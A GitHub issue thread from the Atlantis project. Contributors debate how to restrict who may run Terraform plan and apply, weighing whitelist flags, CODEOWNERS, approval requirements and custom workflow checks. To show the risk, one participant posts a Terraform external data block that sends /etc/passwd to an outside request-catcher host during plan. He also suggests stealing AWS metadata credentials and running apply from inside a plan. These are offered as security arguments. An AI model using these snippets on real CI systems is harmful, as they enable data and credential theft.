Restrict Plan or Apply to Github Teams or Github Users

[osterman]

what

• Allow operator to define a list of permitted users who can trigger atlantis commands

why

• Currently, the only way to restrict access is by adding/revoking users from a repository altogether. We believe in transparency, so that anyone should be able to view the activity.
• Not being able to restrict users is scary

proposal

add the following flags.

Allow an explicit set of users.

--gh-user-whitelist=osterman,goruha,aknysh

Allow teams in an organization

--gh-team-whitelist=ops
--gh-org-whitelist=cloudposse

The arg convention is piggybacking on the existing convention of --repo-whitelist and that all github features are prefix with --gh-*

---

an alternative interface could be based on CODEOWNERS, but I think that will be more work to implement.

• https://help.github.com/articles/about-codeowners/
• https://github.com/nathanleiby/github-codeowners

[jordan-evans]

Could this also be extended into the other repository providers (e.g. GitLab)?

[osterman]

@darrylb-github any thoughts on this one?

[darrylb-github]

@darrylb-github any thoughts on this one?

@osterman Yea we're hitting the same problems. We initially tried via protected branches and requiring approval in atlantis but this way you would have to protect all branches which doesn't work well.

Your proposal would solve this for us as well via the --gh-team-whitelist option. I can't currently think of a better way to solve this.

Think it would be beyond my atlantis/go experience at the moment to attempt to implement this myself though, but it does feel a bit like a deal breaker at the moment unless we can find another workaround 🤔

[darrylb-github]

Note I don't think its necessary to restrict plans though; it's the apply I'm worried about.

[osterman]

@aknysh on my team started working on this today. Will keep you posted.

In our case, plans also need to be restricted since the external data provider runs on every plan and can run any command.

[lkysow]

I think the best way to implement this is to use a server-side Atlantis.yaml config (#47). I don't want to go the direction of server flags because it's not scalable. Inevitably someone is going to want a specific config for a specific Terraform repo/directory/workspace which they won't be able to accomplish with a global flag.

Unfortunately the server-side config isn't complete but I think this will have to wait for that.

[majormoses]

Can't this already be achieved with github CODEOWNERS?

[majormoses]

Note I don't think its necessary to restrict plans though; it's the apply I'm worried about.

I agree the scary thing from a security stance are the ability to run local and remote exec blocks but those are not run during a plan.

[majormoses]

I suppose longer term supporting commands like state (mv|rm) comes to mind as well when they are added to atlantis.

[osterman]

We've implement this here: cloudposse-archives#7

[osterman]

We're taking atlantis to the extreme. My goal is to have it on public repos so we can test modules. terraform plan is dangerous. As long as you can access the external data provider, you can do anything you want. The external data provider runs necessarily on plan and will execute any command on the machine.

Best policy is to know exactly who can run apply and plan.

[osterman]

Unfortunately the server-side config isn't complete but I think this will have to wait for that.

@lkysow, I understand your position. As an architect of many systems, I struggle with it daily.

Guess from where I stand this is a hard stop, don't even consider using atlantis kind of problem that any one I talk to shares. They love the idea of atlantis, but when I say "oh, and anyone with access to the repo can trigger an apply", it's a non-starter. Sometimes "what gets you here, doesn't get you there". I understand the desire to put this into the server-side config. But sounds like the scope of that is much greater. Adding a stop-gap measure to address a major liability from a security perspective is warranted IMO, even if it is longer-term not the ideal solution.

[majormoses]

@osterman when you say if you can plan you can do anything you want can you expand? Local/remote exec blocks are not evaluated during a plan so any easy exfiltration and code execution can be stopped by requiring code review on it as long as you are using the --require-approval serverside option and CODEOWNERS. As CODEOWNERS from github is evaluated based on your default branch (typically master) rather than what's in your branch/fork that you are proposing, this would require someone with repo access two pull requests to accomplish an attack with this and would require write protection as well as either an approval or privileges to bypass any branch protections. I can see the danger that they could write their own terraform provider that does pretty much anything they want. In the context of allowing it for only internal projects I think that would be sufficient but with it being external I can see why that would be a major concern.

but when I say "oh, and anyone with access to the repo can trigger an apply", it's a non-starter.

Agreed if that was the case, but like I said with a CLI arg and CODEOWNERS you can gate the apply even if not the plan, there is still danger for your use case but at least the barrier of entry is much higher.

I understand the desire to put this into the server-side config.

If it's meant to be a meaningful protection it must be serverside (whether its a config option or CLI args) as otherwise an attacker can just change the permissions themselves.

I do see needing more fine grained access controls in the future to safely support public projects as well as when other commands are implemented such as state, destroy, etc.

[lkysow]

oh, and anyone with access to the repo can trigger an apply

Can you explain why you think this is the case?

With --require-approval you need to be able to approve a pull request prior to apply. The list of approvers can be gated in all VCS providers.

Or do you mean that once a PR is approved, then anyone can apply? Which is true.

[osterman]

@osterman when you say if you can plan you can do anything you want can you expand? Local/remote exec blocks are not evaluated during a plan

Here's an example of using the external data provider to exfiltrate data during a plan.

Providers are not like the local or remote provisioners. They can hook into any part of the terraform lifecycle. In this case, the external data provider hooks into the plan cycle so that it can source data from external commands (e.g. a python script).

Here's an example of exfiltrating the first line of the /etc/passwd file (useless these days), to an external site http://exfiltrate.requestcatcher.com/test

Running terraform plan on the following will result on this command getting executed. It's run in the same context as an apply (e.g. EC2 instance profiles or ECS task roles), so presumably with all the same AWS credentials etc. It could be much worse.

# https://www.terraform.io/docs/providers/external/data_source.html
data "external" "example" {
  program = ["/bin/bash", "-c", "(head -1 /etc/passwd | curl -XPOST -d@- http://exfiltrate.requestcatcher.com/test >/dev/null); echo {}" ]
  query = { }
}

@majormoses CODEOWNERS you can gate the apply even if not the plan, there is still danger for your use case but at least the barrier of entry is much higher.

This may be true on GitLab or other VCS, but not on GitHub. Per the atlantis documentation anyone can approve a pull request. As far as I understand, the CODEOWNER only gates merging.

@lkysow With --require-approval you need to be able to approve a pull request prior to apply. The list of approvers can be gated in all VCS providers.

Maybe there's some extra toggle somewhere in GitHub that further restricts approvals across the board. I won't rule it out.

This also seems to be the case per the CODEOWNERS documentation.

they also can optionally require approval from a code owner before the author can merge a pull request in the repository

But the fact remains, a terraform plan can today execute any command.

If it's meant to be a meaningful protection it must be serverside

Sorry, that was my own ambiguity. I was referring to args passed to atlantis server.

@aknysh on our team has implemented this here: cloudposse-archives#7

Since it didn't seem like it was going to be accepted (per the earlier discussion), we didn't open a PR against runatlantis/atlantis

[osterman]

Now, what would be truly nasty is to curl http://169.254.169.254/latest/meta-data/iam/security-credentials/... and exfiltrate those STS credentials and thus have carteblanche remote access to AWS with whatever privileges are given to atlantis.

[majormoses]

This may be true on GitLab or other VCS, but not on GitHub. Per the atlantis documentation anyone can approve a pull request. As far as I understand, the CODEOWNER only gates merging.

So from what I remember (I could be wrong or not remembering correctly) if you set branch protection to use CODEOWNERS it affects the mergable state and atlantis uses this to determine if you can apply so anyone who has write access to the repo but is not a CODEOWNERs review does not count. I can try to setup a test to validate this.

[osterman]

@majormoses that would be cool - would love confirmation if that's how it works. If so, the atlantis documentation may be misleading since the red warning dialog seems to say something different. However, since I could run the following in a terraform plan to trigger a terraform apply, it makes no effective difference to a bad actor. We need a plan_requirements section as well.

data "external" "example" {
  program = ["/bin/bash", "-c", "terraform apply>/dev/null 2>&1); echo {}" ]
  query = { }
}

[majormoses]

But the fact remains, a terraform plan can today execute any command.

It wouldn't be very useful if it couldn't and I agree on the need to restrict that further especially with implementing additional commands state, destroy, etc. Just trying to figure out if the current protections are meaningful enough for internal projects where its more to prevent naive users from doing bad things as opposed to malicious actors.

[osterman]

I have direct knowledge of a company who had 2 developer accounts hacked on the same weekend a few months back. Both had mandatory MFA enabled on their GitHub and Google email accounts. In their case, a social engineering attack allowed SIM jacking. A white list is not perfect. MFA would be better. But I'm just talking baby steps right now. Reducing the attack surface by restricting the number of engineers that can plan/apply changes (at least to production) makes me feel better.

[majormoses]

I just tested and it looks like it does not look at the mergability state to determine if the apply can be run @lkysow is that a bug or intended I might be remembering wrong but I seem to recall us talking about this a while ago.

[majormoses]

Found it, it was something being discussed but not yet implemented: #43 @osterman if that was implemented would that solve most of your concerns? While it still relies on trust from github and a compromised account with enough privs could certainly disable protections I think this would be a huge step in the right direction and should not be too hard to implement I would think. One of the benefits of this approach is that it works with github and gitlab (not sure if bitbucket or other VCS providers have similar concepts) so it would help the most people for the least amount of effort.

[osterman]

Btw, the GitHub Universe conference is happening this week. Heard through the grapevine that better RBAC is coming (fingerscrossed!) That said, same source said GitHub was not coming out with CI/CD and we know how that turned out. =P

@majormoses Re: #43, yes & no. I agree 100% with the intent of #43. Mergability should be a criteria for apply when we say approved; though perhaps an additional requirement . However, it's not configurable enough.

apply_requirements: [approved, mergable]

If you take a look at our proposed solution in this PR: cloudposse-archives#7 it scales somewhat better in terms of flexibility.

atlantis server --gh-team-whitelist=dev:plan,ops:apply,devops:*

This says that a team called dev can run plan, and the team called ops can run apply and a team called devops can do anything. Now, if we introduced a new verb like destroy, that could easily be tied to another team.

Granted, if a user wants to do full-on RBAC per workflow/step/etc, it's a very slippery slope.

I admit that this is kind'a GitHub centric approach. We needed something before 10/25 =)

[majormoses]

@osterman makes sense I agree that more granular is better and hope github RBAC is gonna improve although it will probably mean tons of refactoring again at my org.

There are several things to consider with the proposed approach. At my current organization we have 85 teams (and that might actually go up quite a but as we are breaking up some of our larger teams) so providing even 15-20 teams seems like not the best solution for CLI arg though with a config file that might be OK. How would we handle sub/child teams? The more you specify on the command line, the more it is exposed to the process table which is accessible to any user and could be used to plan the next attack. I generally recommend providing anything sensitive (secrets, team names, repo names, permissions, etc) to be specified via a config file, ENV var, or pulled from a secret manager directly (such as hashicorp vault, aws ssm, etc).

Granted, if a user wants to do full-on RBAC per workflow/step/etc, it's a very slippery slope.

I don't think atlantis should be in the business of providing real RBAC for this very reason. In its current state I'd say it's best to let some external process push status checks to your VCS provider and using the mergable status it gives to determine if it can perform an action or not. At some point it might make more sense to try to flesh out more of a full RBAC solution but I think atlantis should provide "good enough" (highly subjective what that means) security and focus on other core improvements. I do agree that in the context of adding new commands outside plan/apply we need something more robust.

Anyways that's just my $0.02

[lkysow]

Wow, a lot to read here and I agree with both of you. I'm going to write up a bigger response with some plans to move forward so don't think I'm ignoring this, just crafting it!

[kipkoan]

oh, and anyone with access to the repo can trigger an apply Can you explain why you think this is the case? With --require-approval you need to be able to approve a pull request prior to apply. The list of approvers can be gated in all VCS providers.

I don't know of a way to do this with Bitbucket (Server / Data Center). You can have a list of required approvers for a merge, but anyone can be added as a reviewer and then approve it.

…

-- Kip

[osterman]

For those interested, we have a prototype of --gh-repo-whitelist available here (with binary releases): https://github.com/cloudposse/atlantis/releases

See pulls:
https://github.com/cloudposse/atlantis/pulls

It also includes a number of other experimental features like --wake-word and --repo-config

[lkysow]

@red8888 I'm going to answer your question here #701 so as to not pollute this ticket

[Ninir]

@lkysow thoughts about the plan_requirements config? I am happy to work on that if we all agree that makes sense. It should be fairly trivial if we mimic apply_requirements

[lkysow]

@lkysow thoughts about the plan_requirements config? I am happy to work on that if we all agree that makes sense. It should be fairly trivial if we mimic apply_requirements

What requirements are you thinking about adding?

[Ninir]

What requirements are you thinking about adding?

mergeable perhaps? or approved too

It solves the issue about the plan being gated by the approval/mergeable status, which means there is no plan if there is no approval or if the PR is not ready to merge at all.
The idea is taken from #308 (comment) actually.

[geota]

To take it a step further, atlantis could check if the commit is GPG signed and verified by the SCM.

https://docs.gitlab.com/ee/api/commits.html#get-gpg-signature-of-a-commit
https://developer.github.com/v3/git/commits/

Lack of a more robust auth solution is likely a blocker for my company to move forward with Atlantis - particularly because we cant lock down Atlantis to our current SCM (Gitlab.com) since Gitlab.com does not provide a static CIDR space from which their webhooks will fire from - see: https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/434

We may be willing to contribute this feature for Gitlab and/or Github if there is general alignment on how to implement this as a first class feature within Atlantis. The custom server-side workflow seems like a decent workaround for now. Ill bring that to my team. Thanks!

[jamengual]

This can be accomplished via a custom server-side workflow now:

workflows:
  custom:
    plan:
      steps:
      - if [ $USERNAME != "username" ]; then exit 1; fi
      - init
      - plan

Where is this documented ? I have been trying to find examples for matching CUSTOM_ARGS but I can't find any example of if statements

[jamengual]

is the run that is missing...nevermind

[lkysow]

is the run that is missing...nevermind

Updated the comment, what command ended up working for you?

[jamengual]

is the run that is missing...nevermind

Updated the comment, what command ended up working for you?

I did 👍

- run: if [ $USER_NAME != "jamengual" ]; then exit 1; fi

But this results in a blank plan as a comment, is that expected?

[lkysow]

You could change what it outputs, e.g.

- run: "if [ $USER_NAME != "jamengual" ]; then echo \"not jamengual, sorry\" && exit 1; fi"

[jamengual]

ok so that means I could change it to not output anything like any bash script, right?

is there a catch_all workflow like if there is not workflow define with a specific name I can just ignore it? instead of doing the above.

[lkysow]

@jamengual for any replies can you please open a new issue so we're not spamming everyone on this issue.

ok so that means I could change it to not output anything like any bash script, right?

No, it will always output a comment.

is there a catch_all workflow like if there is not workflow define with a specific name I can just ignore it? instead of doing the above.

You can set a default workflow.

[Lawands]

Is there any way to whitelist bitbucket user groups at repos.yaml or at env variables similar like --gh-team-whitelist=ops?

[osterman]

@Lawands, unfortunately, no... and --gh-team-whitelist=ops was just a proposal that we implemented in a fork but was not accepted.

[czerasz]

Created this project to support a custom apply experience: https://github.com/czerasz/atlantis-org-applyer

[jamengual]

We are working on #1206 which hopefully will be done in a couple of months

[dimisjim]

Isn't #1317 a way to achieve #1476 and basically close this issue too?

@jamengual how does the above relate to your open PR? Should it be dropped in favor of the above?

[jamengual]

it could be and I think it will be once we get the VCS context exposed to the pre-workflow hook which is not exposed right now.

…

On Sat., Mar. 27, 2021, 3:43 a.m. Dimitris Moraitidis, < ***@***.***> wrote: Isn't #1317 <#1317> a way to achieve #1476 <#1476> and basically close this issue too? @jamengual <https://github.com/jamengual> how does the above relate to your open PR? Should it be dropped in favor of the above? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#308 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAQ3ERDSOHGX6JOI7ZDHJ73TFWZFRANCNFSM4FZGLEUQ> .

[guitmz]

hey what's the status of this?

[Abhilash-sandupatla]

amazing! So if I wanted to run apply and destroy with the default behavior and just add a check for an allowed list of users I would just have to do this right?

apply:
  steps:
    - run: echo 'Checking Bitbucket user is allowed to run atlantis apply'
    - run: "if [ $USERNAME != "username" ]; then exit 1; fi"
    - init
    - apply
destroy:
  steps:
    - run: echo 'Checking Bitbucket user is allowed to run atlantis apply'
    - run: "if [ $USERNAME != "username" ]; then exit 1; fi"
    - init
    - apply

When I give multiple user names, it is throwing following error

sh: syntax error: unexpected "("

[nitrocode]

@Abhilash-sandupatla I think that's because of the quotation within a quotation in your second run step

    - run: "if [ $USERNAME != "username" ]; then exit 1; fi"

See this https://github.com/nitrocode/atlantis-terraform-module/blob/732b4ac00c4516707a3546247cc927d59b4fba17/atlantis.yaml#L18